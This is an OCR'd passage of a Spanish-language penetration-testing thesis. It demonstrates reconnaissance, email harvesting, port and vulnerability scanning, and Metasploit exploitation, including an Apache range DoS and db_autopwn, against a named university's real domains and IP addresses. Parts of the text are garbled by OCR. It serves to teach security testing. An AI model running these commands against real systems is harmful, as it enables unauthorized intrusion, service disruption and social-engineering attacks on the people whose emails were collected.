aventura Buga
navenigfy By
S aRe Imira
100 Km

# Country Tawnh Lat Lon IP Hosthame Lat. DMS | Dist..
i mm Colombia {Unknown) 4.0 B 200.26.145.15 200.26.145.18 <1 - 1]
2  mm Colombia (Unknown) 40 2.0 200.26.145 12 (Hene) 2 170 0
2 mm Colombia {Unknown) 4.0 B 200.26.145.18 (Mane) 2 4 1]
4 mm Colombia {Unknown) 4.0 B 200.26.146.18 (None) 4 g 1]
5 mm Colombia {Unknown) 4.0 B} 200.26.145.1% [Mone) <1 i} 1]
i mm Colombia {Unknown) 40 -720 200.26.145.1% [Mone) 2 a0 1]
7 mm Colombia {Unknown) 4.0 Bl 200.26.145.1% {Hane) 2 49 1]
& mm Colombia {Unknown) 4.0 7o 200.26.145.18 (Mone) 2 52 1]
el mm Colombia (Unknown) 4.0 B 200.26.145 .29 (Mane) 2 10 1]
10w Colombia (Unknown 40 T30 200.26.146 20 (Mone) ] 47 1]
1 mm Colombia {Unknown) 4.0 B} 200.26.145 .29 [Mone) I 48 1]
12 mmm Colombia Bogotd 46492004 -T40G2E 206223124 165 golumbus-nap.scit.ong .o 7 T 40
13  mm Colombia Bogotd 46492004 -T40G2E 190242126 230 {Hane) 0 13 1]
14 g Colombia Bogota 4.5492004 -7 0628 190.242 126230 (Mone) 2 7 1]

Fuente: Imagen tomada del resultado de un andlisis de traceroute hecho con la
herramienta visual route.
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Figura: Test Tracert 2

200.25.145.18

200.26.145.29
Latency (ms)

DMS Lookup (ms)
columbus-nap.cait.org.co.

190.242,126.230

Fuente: Imagen tomada del resultado de un analisis de traceroute hecho con la
herramienta visual route.

Hping3: Herramienta usada para manipulacion de paquetes a nivel de capa 4,
para este caso se emplea el siguiente comando:

[}
Hping3: El comando que se ejecutara
.A: Envia banderas de levantamiento de sesion “acknowledge”
-c 4: Envia 4 paquetes tcp.
-s 5151: Envia banderas de sincronismo con puerto origen 5151
-p 80: Realizar peticiones y respuestas hacia el puerto 80

Figura: Test ICMP 3

:~# hping3 -A -c 4 -s 5151 -p 80 190.242.99.231
HPING 190.242.99.231 (eth0® 190.242.99.231): A set, 40 headers + 0 data bytes
len=46 ip=190.242.99.23]1 tt1=255 id=5960 sport=80 flags=R seq=0 win=0 rtt=0.5
len=46 ip=190.242.99.231 tt1=255 id=5961 sport=80 flags=R seq=1 win=0 rtt=0.9
len=46 ip=190.242.99.231 tt1=255 id=5962 sport=80 flags=R seq=2 win=0 rtt=0.8

len=46 ip=190.242.99.231 tt1=255 id=5963 sport=80 flags=R seq=3 win=0 rtt=0.7

---190.242.99.231 hping statistici=--
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.5/0.7/0.9 ms

Fuente: Imagen tomada de la terminal del sistema operativo Kali.

Esta herramienta es muy Util para la evasion de puertos y firewall, donde
muchas veces los dispositivos no responden a peticiones ICMP, pero
modificando los paquetes los cuales son elevados una capa en el modelo OSI
a Transporte, podemos obtener respuestas.

Dicha herramienta también es usada para hacer denegaciones de servicio
sobre puertos y servicios especificos.
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e Theharvester: Es una herramienta que permite recolectar informacion
acerca de nombres de dominio, direcciones IP y correos electrénicos. La
forma de usar dicha herramienta es abriendo una terminal en kali Linux
y digitando theharvester —d ulibertadores.edu.co —I 500 —b all

Figura: Test Harvester 1

Fuente: Imagen tomada de la terminal del sistema operativo Kali.

-d - indica el campo del dominio u objetivo analizar.

-l = Inidica el nimero de busquedas y resultados.

-b - indica en que buscadores podemos realizar la basqueda, en este
caso “all”’ significa que haga la busqueda en todos.

Figura: Test Harvester 2

Fuente: Imagen tomada de la terminal del sistema operativo Kali.

En este caso fueron encontrados los subdominios del dominio principal de la
universidad con su respectiva direccion IP.
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Correos electréonicos encontrados del dominio ulibertadores.edu.co

Figura: Test Harvester 3

Fuente: Imagen tomada de la terminal del sistema operativo Kali.
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Para el dominio libertadores.edu.co

Figura: Test Harvester 4

joguatam ibert 2. edu }
Fuente: Imagen tomada de la terminal del sistema operativo Kali.
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Fuente: Imagen tomada de la terminal del sistema operativo Kali.
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Figura: Test Harvester 5

Fuente: Imagen tomada de la terminal del sistema operativo Kali.

De esta manera se logra encontrar varios correos electrénicos asociados los
cuales pueden ser usados para ingenieria social, esta prueba esta realizada a
nivel de la capa 7 aplicacion del modelo OSI.
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Figura: Test Harvester 6

Fuente: Imagen tomada de la terminal del sistema operativo Kali.

De igual manera se logra encontrar los subdominios asociados a
libertadores.edu.co

A los subdominios mostrados en la imagen Test harvester 1 a la 6 se puede
realizar la misma extraccion de correos electrénicos siguiendo el mismo
procedimiento.

e Recolecciéon Manual de informacion.

Mediante la recolecciéon manual usando los comandos de la terminal en Linux,
también se logra encontrar bastante informacion acerca de un objetivo, el cual
consiste en descargar el Index de una pagina e iniciar la bisqueda dentro de
este archivo, para empezar en la terminal de Linux, vamos a crear una carpeta
con el nombre de libertadores, se ingresa a la misma y se descargar el archivo
index.html de libertadores usando el comando wget:

Figura: Reconocimiento Manual 1

Fuente: Imagen tomada de la terminal del sistema operativo Kali.
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Figura: Reconocimiento Manual 2

Usando una serie de comandos se inicia la depuracion de la informacion, en
este caso:

grep "href="index.html | cut -d "/" -f 3

Los cuales filtraran la informacion del href, mediante el uso del comando grep,
a su vez de dirige la salida mediante el simbolo ‘|’ y se cortard el campo nimero
3 “f 3 “ con el comando cut —d.

Figura: Reconocimiento Manual 3

bl L o

t="_blank"><

Fuente: Imagen tomada de la terminal del sistema operativo Kali.
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Figura: Reconocimiento Manual 4

Fuente: Imagen tomada de la terminal del sistema operativo Kali.

Posteriormente se seguira filtrando la informacion arrojada, se ejecutara el
siguiente comando:

grep "href=" index.html | cut -d "/* -f 3| grep "\." | cut -d ™' -f 1 | sort —u

A partir del segundo grep, el simbolo “\.” Servira para retirar la informacion
basura agregada a los dominios, direccionamos la salida de todo el comando
mediante el simbolo “ | “ y cortamos el campo numero 1 “ —f 1” con el comando
cut —d, a su vez la salida de éste comando la direccionamos con el simbolo “|”’
para que sea organizada por el comando sort —u, quedando la informacién un
poco mas manejable:

Figura: Reconocimiento Manual 5

href=" index.html cut —d "/
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A su vez organizara paginas externas como twitter, Facebook, youtube y otras
organizaciones.

Figura: Reconocimiento Manual 6

ol T 1T = O

Fuente: Imagen tomada de la terminal del sistema operativo Kali.

Ya una vez, con esta informacion, sera guardada en un archivo plano
direccionando la salida con el nombre del futuro archivo.

Figura: Reconocimiento Manual 7

Fuente: Imagen tomada de la terminal del sistema operativo Kali.

Se genero la salida en un archivo libertadores.txt

Antes de continuar se edita el archivo libertadores.txt para dejar solo las URL
correspondientes al objetivo sin los puertos
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Figura: Reconocimiento Manual 8

Fuente: Imagen tomada de la terminal del sistema operativo Kali.
Una vez teniendo el archivo, se ejecutara el comando:

for url in $(cat libertadores.txt); do host $url ; done

Dicho comando dice lo siguiente: para la url que esta dentro de (for url in)
revise el contenido del archivo libertadores.txt “$(cat libertadores.txt)
resuelva su url al host o direccion IP “do host $url;done”

y

Por ultimo vamos a filtrar las direcciones IP sacandolas del archivo con el
script

for url in $(cat libertadores.txt); do host $url; done | grep "has address" |
cut-d"" -f4 |sort-u

Figura: Reconocimiento Manual 10

Se evidencian 6 direcciones IP, las cuales posteriormente podemos analizar
con Nessus y sus respectivos puertos.
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Como se puede observar en la imagen a continuacion, se evidencia un par de
vulnerabilidades medias y altas, sin embargo el andlisis de vulnerabilidades, son
fases posteriores del reconocimiento, que se encuentran descritos en una
seccidn posterior de este documento.

Figura: Analisis de Vulnerabilidad 1

190.242.99.231

173.194.219.132

190.242.99.228

190.242.99.229

190.242.99.234

"
3
i
5
]

190.242.99.235

Fuente: Imagen tomada del resultado del analisis de vulnerabilidades con la
herramienta Nessus.

2.7.2 ldentificacion de Sistemas y Servicios

Utilizando la informacion obtenida previamente se buscan posibles vectores de
ataque. Esta etapa involucra el escaneo de puertos y servicios. Posteriormente
se realiza el escaneo de vulnerabilidades que permitird4 definir los vectores de
ataque.

¢ Nmap: Para realizar descubrimientos de redes, servicios y puertos de
dispositivos.
Nmap: programa invocado desde una terminal de Linux Kali.
-sS: se invoca las banderas Sync.
-T4: Indica la velocidad del escaneo.
-A: Envia banderas de Ack.
-v: Verbose o nivel de detalle, para que vaya mostrando en la pantalla
toda la actividad e informacion recolectada.

Esta herramienta realiza escaneos a nivel de capa 3 y capa 4 del modelo OSl,

ya que incluye verificaciéon por protocolo ICMP y pruebas de puertos abiertos
con las comunicaciones de tres vias en los protocolos TCP y UDP.
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Nmap —sS —sU —=T4 —-A —v 190.242.99.231

Figura: Escaneo de Puertos 2

Como se puede observar, muestra puertos 8080, 80, 8089, 8443 abiertos

e Zenmap: Herramienta que funciona muy similar a nmap, pero en
entorno gréfico.

Figura: Escaneo de Puertos 3

4 Port 4 Protocol 4 State 4 Service 1 Version
@ 2 tcp open  http Apache httpd 2.2.9 ({Debian) PHP/3.2.6-1+lenny8 with Suhosin-Patch)
® 113 tep closed ident
@ 3080 tep open  ms-wht-server Microsoft Terminal Service
@ 3080 tcp open  http Apache Tomcat/Coyote ISP engine 1.1
@ 3089 tep open  http Apache httpd 2.0.50 ((Unix) mod_ssl/2.0.50 Open55L/0.9.8 Zend Core/1 PHP/5.1.4)
0 8443 tep open  http Apache Tomcat/Coyote ISP engine 1.1

Fuente: Imagen tomada del resultado de analisis de puertos realizado con Zenmap.

Esta herramienta permite evidenciar los puertos abiertos pero en entorno grafico
junto con el nombre de cada servicio. Esto permite determinar los puertos que
se encuentran abiertos, en este caso el puerto 80, 5080, 8080, 8089, 8443, al
igual permite identificar qué servicios se encuentran activos por cada puerto.
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2.7.3 Anadlisis de vulnerabilidades

e Nessus: Escaneador de vulnerabilidades. (Licenciado)

Figura: Escaneo de Vulnerabilidad 1

Host Details
IF: 190.242.99.231

Start: Today at 11:16 AM

Vulnerahilities

@ Critical
_; 21

Medium

@ Info

Fuente: Imagen tomada del resultado de analisis de vulnerabilidades con la herramienta
Nessus.

Figura: Escaneo de Vulnerabilidad 2

Severity Plugin Name Plugin Family Count

OpenSSL < 0.9.71 / 0.9.8d Multiple Vulnerabilities Web Servers
OpenSSL 0.9.8 < 0.9.8za Multiple Vulnerabilities Web Servers
OpenSSL 0.9.8 < 0.9.8zb Multiple Vulnerabilities Web Servers
OpenSSL < 0.9.8f Multiple Vulnerabilities Web Servers
OpenSSL < 0.9.8p / 1.0.0b Buffer Overflow Web Servers
OpenSSL < 0.9.8s Multiple Vulnerabilities Web Servers
OpenSSL < 0.9.8w ASN.1 asn1_d2i_read_bio Memory Corruption Web Servers
OpenSSL 0.9.8 < 0.9.8x DTLS CBC Denial of Service Web Servers
OpenSSL 0.9.8 < 0.9.8zc Multiple Vulnerabilities (POODLE) Web Servers
OpenSSL 0.9.8 < 0.9.8zd Multiple Vulnerabilities Web Servers

Fuente: Imagen tomada del resultado de andlisis de vulnerabilidades con la herramienta
Nessus.
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Como se observa en la imagen, el analizador de vulnerabilidades, permite
evidenciar fallos o bugs en servicios y sistemas operativos, permitiendo de esta
manera enfocar un atague mas especifico.

Figura: Escaneo de Vulnerabilidad 3

OpenSSL < 0.9.71 / 0.9.8d Multiple Vulnerabilities

Description

According to its banner, the remote server is running 2 version of OpenssL that is earlier than 0.9.71 or 0.9.8d. As such, it is affected by multiple vulnerabilities

- A remote attacker could trigger a denial of service, either via malformed ASM.1 structures or specially crafted public keys. (CVE-2006-2937, CVE-2006-3738)

- A remote attacker could execute arbitrary code on the remote server by exploiting a buffer overflow in the 55L_get_shared_ciphers function. (CVE-2006-
2040)

- A remote attacker could crash a client by sending an invalid server Hello. (CVE-2006-4343)

Solution

Upgrade to OpenSSL 0.9.71 / 0.9.8d or later,

0.50 OpenSSL/0.9.8 Zend Core/1 PHP/5.1.4

Fuente: Imagen tomada del resultado de andlisis de vulnerabilidades con la herramienta
Nessus.

Como se puede observar en la imagen Figura: Escaneo de Vulnerabilidad 3,
ingresando a cada uno de los escaneos, se puede ver una descripcion con su
respectiva solucion

Figura: Escaneo de Vulnerabilidad 4

Reference Information

CVE: ¢
4481,
4484, CVE-
OSVDE:
28004, . ,
BID: 16878, 19415, 19582
CWE: 119

iy 3

Fuente: Imagen tomada del resultado de andlisis de vulnerabilidades con la herramienta
Nessus.

La evidencia indica que una de las vulnerabilidades es un Buffer Overflow
existente y sus respectivos codigos CVE con los que fueron reportados.
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En la pagina https://www.exploit-db.com/google-hacking-database se debe
realizar la busqueda de aquellos CVE, para verificar si existen exploits y ser
lanzados.

OpenVass Escaneador de vulnerabilidades (Libre): Este software se encuentra
integrado con Linux Kali, puede llegar a ser una buena opcion para el caso de
no tener acceso a una herramienta licenciada (Nessus Professional), para este
caso. A continuacion se muestra como realizar la instalacion dentro de Kali:

Clic en Aplicaciones — Analisis de Vulnerabilidades

Figura: OpenVas 1

Aplicaciones Lugares § [ZJ lun 26 de may, 16:01

i‘ Accesorios
@ Acceso universal
%D Electronica
% Gr N 3
4 Graficos Y
\ Top 10 Security Tools
L} Herramientas del sistema >

@ Internet > N Recopilacion de Informacion

E Evaluacion de Codigo Abierto

fh Herramientas Cisco

Analisis de Vulnerabilidades

Aplicaciones Web

v

Ataques de contrasefias

v

'h Herramientas para Fuzzing

U= OpenvAs
rh Otros Escaner

Ataques Wireless

v

Herramientas de Explotacion

v

Husmeando/Envenenando
E Manteniendo Acceso
1 % Ingenieria Reversa
: ';::' Pruebas de Stress
2 Hackeo de Hardware
} Forensia
55 Herramientas de Reporte

Tﬂr Servicios del Sistema

Fuente: Imagen tomada de la herramienta OpenVass en el sistema operativo Kali.
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Clic en OpenVas — Openvas initial setup

Figura: OpenVas 2

Lugares § =] lun 26 de may, 16:03

Aplicaciones

a , Accesorios >

@ Acceso universal >

L 5 4 ;
TE] Electronica > = %

. ¥ s
,4 Gréficos b

\ Top 10 Security Tools

Jf Herramientas del sistema >
@ Internet s O Recopilacion de Informacion
rh Evaluacion de Bases de Datos i Analisis de Vulnerabilidades
rh Evaluacién de Codigo Abierto >. Aplicaciones Web >
'h Herramientas Cisco >" Ataques de contrasefias >

rh Herramientas para Fuzzing Ataques Wireless >

A
n OpenVAS \ openvas check setup >
rh Otros Escaner

NS

> \ openvas feed update >
NS

ﬁ \ openvas-gsd >

? : % openvas initial setup
'3:5 \ openvas start >
e .
mienta OpenVass en el sistema operativo Kali.

Fuente: Imagen tomada de la herra

Con estas opciones se daran inicio a la configuracién inicial del software para
andlisis de vulnerabilidades.

Se abre una consola terminal, donde se diligenciaran los datos béasicos de
pais, ciudad y nombre comun.

Figura: OpenVas 3

Terminal

Archivo Editar Ver Buscar Terminal Ayuda

Country Name (2 letter code) [DE]:State or Province Name (full name) [Some-S
]:Locality Name (eg, city) []:0rganization Name (eg, company) [Internet W
Pty Ltd] :0rganizational Unit Name (eg, section) []:Common Name (eg, your n
your server's hostname) []:Email Address []:Using configuration from /tmp/c
as-mkcert-client.3164/stdC.cnf

Check that the reguest matches the signature

Signature ok

The Subject's Distinguished Name is as follows

count ryName :PRINTABLE: 'DE"’

localityName :PRINTABLE: 'Berlin'

commonName :PRINTABLE: 'om/

Certificate is to be certified until May 26 21:01:04 2015 GMT (365 days)

Write out database with 1 new entries
Data Base Updated
User om added to OpenVAS.

Stopping OpenVAS Manager: openvasmd.

Stopping OpenVAS Scanner: openvassd.

Loading the OpenVAS plugins...base gpgme-Message: Setting GnuPG homedir to '
/openvas/gnupg’

base gpgme-Message: Using OpenPGP engine version '1.4.12'

Loading the plugins... 10200 (out of 35083)

2
|

Fuente: Imagen tomada de la herramienta OpenVass en el sistema operativo Kali.
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Posteriormente se iniciara el servicio de Openvass

Figura: OpenVas 4

root@kali: ~

Archivo Editar Ver Buscar Terminal Ayuda
[Certificate is to be certified until May 26 21:01:04 2015 GMT (36

Write out database with 1 new entries
|Data Base Updated
|User om added to OpenVAS.

|Stopping OpenVAS Manager: openvasmd.

iStopping OpenVAS Scanner: openvassd.

|Loading the OpenVAS plugins...base gpgme-Message: Setting GnuPG homedir to
|/openvas/gnupg’

|pase gpgme-Message: Using OpenPGP engine version '1.4.12°

[A11 plugins loaded

|md main :WARNING:8892:2014-05-26 16h11.35 COT: sql_x: sqlite3_ prepare fail(
|o such table: main.meta

|Starting OpenVAS Scanner: openvassd.

iStarting OpenVAS Manager: openvasmd.

|Restarting OpenVAS Administrator: openvasad.

iRestarting Greenbone Security Assistant: gsad.

1Enter password:

lad main:MESSAGE:8955:2014-05-26 16h26.53 COT: No rules file provided,
luser will have no restrictions.

lad main:MESSAGE:8955:2014-05-26 16h26.53 COT: User admin has been succes
| created.

Fuente: Imagen tomada de la herramienta OpenVass en el sistema operativo Kali.

En las opciones del navegador de Kali llamado Icweasel, se abre las
preferencias y se activa la opcion de cifrado SSL 3.0

Figura: OpenVas 5

p Edit View History Bookmarks Tools Help
Google | & |
| - google.com.co v @1| |E’v Google O°:|

&

[Most Visited~  Jll Offensive Security S Kali Linux "% Kali Docs ﬂExpLowt—DB W Aircrack-ng

lceweasel Preferences

W oE s K ™A QRS

General  Tabs Content Applications  Privacy Security  Sync

|

General | Network | Update | Encryption

Protocols

¥ |Use SSL 3.0 ¥ Use TLS1.0

Certificates

When a server requests my personal certificate:

O Select one automatically ® Ask me every time

View Certificates | Revocation Lists Validation Security Devices

Fuente: Imagen tomada del navegador Iceweasel del sistema operativo Kali.
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Ingresar a localhost por el puerto: 9392

Figura: OpenVas 6

file Edit View History Bookmarks Tools Help
L. Untrusted Connection |J e |
92 Ve’] [EV Google O;,] -\F/L ki

5 Most Visited ™ Iiloﬁ‘enswe Security ~B,I(all Linux ~B,I(all Docs ﬂExmet—DB ‘Alrcrack—ng

* [ https://localhost: 9

‘@ - ‘ This Connection is Untrusted

You have asked lceweasel to connect securely to localhost:9392, but we can't confirm

that your connection is secure.

MNormally, when you try to connect securely, sites will present trusted identification to
prove that you are going to the right place. However, this site's identity can't be verified.

What Should | Do?

If you usually connect to this site without problems, this error could mean that someone is

trying to impersonate the site, and you shouldn't continue.

Fuente: Imagen tomada del navegador Iceweasel del sistema operativo Kali.

Ingresar el usuario y contrasefia con el que se autentica el sistema operativo
Kali.

Figura: OpenVas 7
Greenbone Security Assistant - lceweasel S

File Edit View History Bookmarks Tools Help

|® Greenbone Security Assistant “ ] |
K@ [ & https://localhost:9392/login/Login.html v e‘ |BV Google Q| J\}

FiiMost Visited v ']]Offensive Security S Kali Linux "% Kali Docs nExploit—DB ‘Aircrack—ng

Greenbone Security Assistant

Fuente: Imagen tomada de la herramienta OpenVass en el sistema operativo Kali.
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Interfaz del OpenVAS:

Figura: OpenVas 8

Greenbone Security Assistant - Iceweasel - | O
File Edit View History Bookmarks Tools Help
& Greenbone Security Assistant “ E';',J |

€« [ﬂ https://localhost:

rerrides=1&tc v é’] [E’V Google Q ‘\F/L

fomp?cmd=get_tas

& Most Visited™ [l Offensive Security & Kali Linux % Kali Docs EMExploit-DB Wy Aircrack-ng

Administration Help

Tasks (total: 0)

Filter: [ |~
[ Jol-lkme

[app[y_overrides=l first=1 rows=10 sort=name la [?]

(Applied filter: apply_owverrides=1 first=1 rows=10 sort=nams)

Welcome dear new user! Quick start: Immediately scan an IP address

To explore this powerful IP address or hostname:
application and to have a quick
start for doing things the first
time, | am here to assist you
with some hints and short-cuts,

| Start Scan

For this short-cut | will do the following for you:
| will appear automatically in

1. Create a new Target with default Port List

Fuente: Imagen tomada de la herramienta Openvas
Se ingresa la direccién IP a Escanear:

Figura: OpenVas 9

stat orarlRerets [
atus ofta ren Crions
i v

Immediate scan of IP 192,168.199.129 0 NIEONEeEia

Fuente: Imagen tomada de la herramienta OpenVas.

Una vez finalizado el escaneo se observa la sumatoria de las vulnerabilidades
halladas:
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Figura: OpenVas 10

Filtered Results 1 -5 of 5
(N (- S [ ) =) ) o o )
192,168.199.129 (PENTESTER-PC May 286, May 26,

) L 2174638 22,0213 g 2 g g g 2
Total: 1 0 5 0 0 0 5
Port summary for 192.168.199.129

epmap (135/tcp) Medium

generalitcp Medium

icslap (2889/tcp) Medium

ool L 2 [T d o Ta¥. P01 Lol

Fuente: Imagen tomada de la herramienta OpenVas.

Analisis de vulnerabilidades con Acunetix

Acunetix Web Vulnerability Scanner es una herramienta que serd capaz de
escanear sitios web en busca de posibles fallos de seguridad que puedan poner
en peligro la integridad de la pagina publicada en Internet. Esta aplicacién
ejecuta una serie de pruebas, totalmente configurables por el usuario, para
identificar las vulnerabilidades tanto en la programacion de la pagina como en
la configuracién del servidor.

Figura: Acunetix 1

Scan Reszultz
= @ Scan Thread 1 { http: ffwww . ulibertadores.edu.co )
= [l Web Alerts (19)
|| = {1} PHP Hash Colision denial of service vuinerability (1)
|:| Web Server
) Apache httpd remote denial of service (1)
0 Apache httpOnly cookie disdosure (1)
) Directory listing (5)
) PHP hangs on parsing particular strings as floating peint number (1)
0 PHP multipart/form-data denial of service (1)
i@ apache 2.x version older than 2.2.10 (1)
@ Apache mod_negotiation filename brutefarcing (1)
@ Clickjacking: ¥-Frame-Options header missing (1)
i@ oPTIONS method is enabled (1)
@ Possible sensitive files (3)
@ TRACE method is enabled (1)
@ Error page web server version disdosure (1)
@ Knowledge Base
{2 Site Structure

O A 3 R R S T

Fuente: Imagen tomada de la herramienta Acunetix.

87



Para el caso de la pagina de la universidad ulibertadores.edu.co se observa
una vulnerabilidad con criticidad alta, la cual permite generar una denegacion
de servicio y colision de la aplicacién en un bug llamado PHP Hash Collision.

e Exploit-db.com: Base de datos para consulta de CVE y exploits,
reportados por los diferentes analizadores de vulnerabilidades.

Figura: Exploit-db 2

Ennq.lnnnlgs‘t Home Exploits Shellcode Papers Google Hacking Database Submit Search
Web Application Exploits
Total 19,387 entries
< prev 6 7 8 9 10 next >
Date ~ D A V Title Platform Author

2015-05-11 - (I ZTE F660 - Remote Config Download hardware Daniel Cisa

2015-05-11 () D-Link DSL-500B Gen 2 - (Parental Control Configuration Panel) Stored Xss hardware XLabs Security

2015-05-11 {J D-Link DSL-500B Gen 2 - (URL Filter Configuration Panel) Stored XSS hardware XLabs Security

2015-05-11 & eFront 3.6.15 - Multiple SQL Injection Vulnerahilities php Filippo Roncar.

2015-05-11 {J eFront3.6.15 - Path Traversal Vulnerability php Filippo Roncar.

2015-05-11 & eFront 3.6.15 - PHP Object Injection Vulnerability php Filippo Roncar.

2015-05-11 (& WingFTP Server Admin <= 4.4.5 - CSRF Add Arbitrary User php John Page

2015-05-11 {3 sQLBuddy 1.3.3 - Path Traversal Vulnerability php John Page

2015-05-08 4.5 Build 5755 - Multiple Vulnerabil php Marlow Tannhau.

2015-05-08 = syncrify Serve 3.6 Build 833 - Multiple Vulnerabilities php Marlow Tannhau,
Fuente: Imagen tomada de la url exploit-db.com al realizar una blsqueda de una
vulnerabilidad.

Al realizar la consulta del codigo CVE en la pagina web, se muestra como
resultado un exploit o script el cual puede ser copiado y lanzado desde Kali

Figura: Exploit-db 3

Exploit Title: Multiple vulnerabilities in SynaMan 3.4 Build 1436 (CSRF/Stored XSS)
Date: @7-85-2815%

Exploit Author: Marlow Tannhauser

Contact: marlowtannhauser@gmail.com

Vendor Homepage: http://www.synametrics.com

Software Link: http://web.synametrics.com/SynaManDownload.htm

Version: 3.4 Build 1436. Earlier versions may also be affected.

CVE: 2015-3148

Category: Web apps

P L

# DISCLOSURE TIMELINE #
©8/02/2815: Initial disclosure to vendor and CERT
©89/82/2015: Acknowledgment of vulnerabilities from vendor

11/82/2815: Disclosure deadline
19/82/2815: Disclosure deadline
09/04/2015: Disclosure deadline
2@/04/2815: Confirmation of fix
©7/85/2815: Disclosure

Note that the CVE-ID is for the

# EXPLOIT DESCRIPTION #

# POC 1 #
The following PoC uses the CSRF

of @1/83/2015 agreed with vendor

renegotiated to 01/84/2015 at vendor's request
renegotiated to 28/04/2015 at vendor's request
from vendor

CSRF vulnerability only. Mo CVE-ID has been generated for the stored XSS vulnerabilities. The vulnerable

SynaMan 3.4 Build 1436 is vulnerable to CSRF attacks, which can also be combined with stored XSS attacks (authenticated administrators o

vulnerability together with one of the stored XSS vulnerabilities, to create a new shared folder in the

Fuente: Imagen tomada de la pagina exploit-db.com una vez encontrado el exploit para
atacar una vulnerabilidad.
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2.7.3 Explotacién de Vulnerabilidades y Pruebas de Intrusion.

Una vez identificados los servicios y sus vulnerabilidades, el paso siguiente
seria la explotacion de las vulnerabilidades. Es decir, primero se tiene que
probar si realmente las vulnerabilidades identificadas permiten a un atacante
causar algun dafio. Después se intentara conocer cudl seria ese dafio. A pesar
de que se haya identificado una vulnerabilidad en la instancia anterior, podria
ser que, al momento de intentar explotarla, existan otras medidas de control que
no hayan sido consideradas, otras capas de seguridad o distintas variables que
podrian hacer més complicada la explotacion de la misma. Asimismo, si se logra
explotar la vulnerabilidad, podria comprobarse y dimensionar cual podria ser el
dafio hacia la organizacién, en funciéon de la informaciéon o sistemas que
estuvieran “detras” de dicha vulnerabilidad.

Para este fin, Metasploit es la herramienta ideal para hacer estas pruebas.
Mientras Nessus posee una base de datos de vulnerabilidades, Metasploit
posee una base de exploits que podrian aprovecharlas. En otras palabras, en
lugar de revisar si hay una vulnerabilidad en un equipo remoto, directamente se
intenta la ejecucion de un exploit y se simulan las consecuencias posteriores,
en caso de que éste se ejecutara con éxito.

Al igual que Nessus, su version de linea de comandos, msfconsole, es la
tradicional, incluso recomendable para la automatizacion.

A continuacién se deben iniciar los servicios de bases de datos postgresql y
Metasploit para lanzar atagues automatizados:

Figura: Metasploit 1

Fuente: Imagen tomada de la terminal del sistema operativo Kali.

Y posterior a ello ejecutar el comando msfconsole, el cual abrird la consola de
metasploit:

Figura: Metasploit 2

Fuente: Imagen tomada de la terminal del sistema operativo Kali.
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Pantalla de inicio de metasploit.

Figura: Metasploit 3

Fuente: Imagen tomada de la terminal de Kali cuando inicia la herramienta metasploit.

En el caso de la aplicacién revistapsicologia.libertadores.edu.co se encuentra
presente una vulnerabilidad de denegacion de servicio:

Figura: Acunetix 2

ldl = | .‘j_" i,"j | Repart /L‘ Start URL: |hitp:/frevistatesispsicologica.ulibertadores.edu.cof
F can Results Status
b~ S# Scan Thread 1 ( http: /frevistatesispsicologica, ulibertadores.edu.cof ) Finished {230 alerts)

= [illy web Alerts (230)
[+ @ PHP Hash Collision denial of service vulnerability (1) ]
+- ) Apadhe Niipd remote denial of service (1)

+- () Directory listing (5)

+- () PHP hangs on parsing particular strings as floating point number (1)

Fuente: Imagen tomada de la herramienta Acunetix.
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Figura: Acunetix 3

This alert was generated using only banner information. It may be
afalse positive.

Affected Apache versions (1.3x 2.0x through 2.0.64, and 2.2.x
through 2.2.19).

Affected items

« Web Server
The impact of this vulnerability
Remote Denial of Service
How to fix this vulnerability

pgrade to the latest version of Apache HTTP Server (2.2.20 ar
later), available from the Apache HTTP Server Project Web site.

Web references
« CVE-2011-3182
« Apache HTTPD Security ADVISORY
o Apache HTTP Senver 2.2 20 Feleased

« Apache hitpd Remote Denial of Senice (memaoary
exhaustion)

Fuente: Imagen tomada de la herramienta Acunetix.

Al igual se muestra una descripcion de la vulnerabilidad, alertando que
posiblemente puede ser un falso positivo, sin embargo, arroja un CVE-2011-
3192 el cual puede ser buscado en la base de datos de metasploit de la

siguiente manera:

Para realizar la busqueda se toma del codigo CVE-2011-3192 Unicamente

2011-3192 con el comando search

Search 2011-3192

Figura: Metasploit 4

Fuente: Imagen tomada de la terminal de Kali de la herramienta Metasploit al realizar la

bldsqueda de un exploit.
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Se evidencia un médulo auxiliar para explotacién de la vulnerabilidad el cual se
empleara de la siguiente manera: Usando el comando:

use auxiliary/dos/http/apache_range_dos

Figura: Metasploit 5

Fuente: Imagen tomada de la terminal de kali de la herramienta Metasploit al realizar la
carga de uno de sus médulos auxiliares.

Y a su vez con el comando show options se procede a la verificacion de los
parametros para diligenciar el exploit, solo los que dicen yes, sabiendo que la
direccién IP de la url es 190.242.99.231.

Figura: Pagina 1

190.242.99.231

e

R

rd -
545
R |
YL
YR

Los Libertadores

Fundacién Universitaria

Oferta Nuestra
Acadéemica | Pagina Principal

ACREDITACION DE ALTA CALIDAD

» Licenciatura en Pedagogia Infantil sues oz

« Comiunicanidn Qanial - Parindiema .

(S

v

f

'
ANFITRIONES DE quA

Campus Repositorio de Noticias y
Virtual y a Distancia Publicaciones Eventos de Inscripcion

Fuente: Imagen, tomada de la pagina de la universidad Libertadores abriendo por
direccion IP.
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Se lanza el exploit con el comando exploit:
Set RHOSTS 190.242.99.231

exploit

Figura: Metasploit 6

Fuente: Imagen tomada de la herramienta Metasploit.

Nota: Para efectos de documentacion apenas se muestra el lanzamiento
inicial del Exploit, puesto que este genera denegacion de servicio e
indisponibilidad el cual no es objetivo del documento.

- Intrusion automatizada con Metasploit

Previamente habiendo realizado un escaneo de puertos (seccion escaneo de
puertos), con el comando db_import y el nombre del archivo (resultado de
nmap) se agrega a la base de datos de metasploit para lanzar de manera
automatica el comando autopwn, el cual es un ataque automatizado de
exploits, valiéndose de la informacién aprovisionada por el xml.

Db_import 190.242.99.231.xml

Figura: Autopwn 1

2.99.231 .xmL"

data

'190.242.99.231 .x

Fuente: Imagen tomada de la terminal de Kali en la herramienta metasploit.

93



La forma de lanzar el ataque automatizado es

Dicho ataque consiste en realizar un lanzamiento de exploits automéatico de
acuerdo a la informacion aprovisionada por los puertos abiertos que contienen
el archivo .xml

S p ik B
o g S

Fuente: Imagen tomada de la terminal de Kali en la herramienta metasploit.

db_autopwn —p -t —e —r

Figura: Autopwn 2

it Modules
exploit/bsdi/softcart/mercantec_softcart (port match)
exploit/freebsd/misc/citrix_netscaler_soap_bof (port m
exploit/linux/http/alienvault_sqli_exec (port match)
exploit/linux/http/astium_sqli_upload (port match)
exploit/linux/http/centreon_sqli_exec (port match)

exploit/linux/http/cfme_manageiq m_upload exec (port

